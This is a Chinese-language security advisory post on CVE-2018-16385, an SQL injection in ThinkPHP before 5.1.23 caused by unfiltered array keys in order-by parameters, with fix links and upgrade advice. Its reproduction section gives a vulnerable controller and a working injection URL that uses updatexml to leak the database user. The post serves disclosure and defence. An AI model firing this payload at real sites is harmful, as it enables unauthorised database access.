【漏洞预警】ThinkPHP v5.1.22 SQL注入漏洞

漏洞预警 0 9815
指尖安全-小胖
指尖安全-小胖 2018年09月13日

u=2516750950,1490021687&fm=26&gp

漏洞描述

因是处理order by参数时,如果参数用户可控,当参数为数组key value时,未正确过滤处理数组的key值,导致漏洞的产生。

CVE编号

CVE-2018-16385

威胁等级

影响版本

ThinkPHP < 5.1.23

修复建议

对order by语句处理流程加上数组分支安全校验。

https://github.com/top-think/framework/commit/f0f9fc71b8b3716bd2abdf9518bcdf1897bb776c

升级最新版本

漏洞复现

demo:

class Test
{
    public function index()
    {
   		$data=array();
	 	$data['username']=array('eq','admin');
		$order=input('get.order');//使用input函数进行安全过滤
		$m=db('user')->where($data)->order($order)->find();
		dump($m);
   }
}

提交参数:

http://127.0.0.1/tp5/public/index/index/test/index?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

43949530-619ee9ec-9cc0-11e8-997e-27500ad237ec

参考链接:

https://github.com/top-think/framework/issues/1375

原文链接:

https://mp.weixin.qq.com/s?__biz=MzIwNTcxNTczMQ==&mid=2247483907&idx=1&sn=3c1f9874878c92d10cff30c1c263fa8a&chksm=972de27fa05a6b69c76fb0b1d3681044e27592021f43c5b97009b15058359d25ee921639344e&token=1033248636&lang=zh_CN#rd


文章标签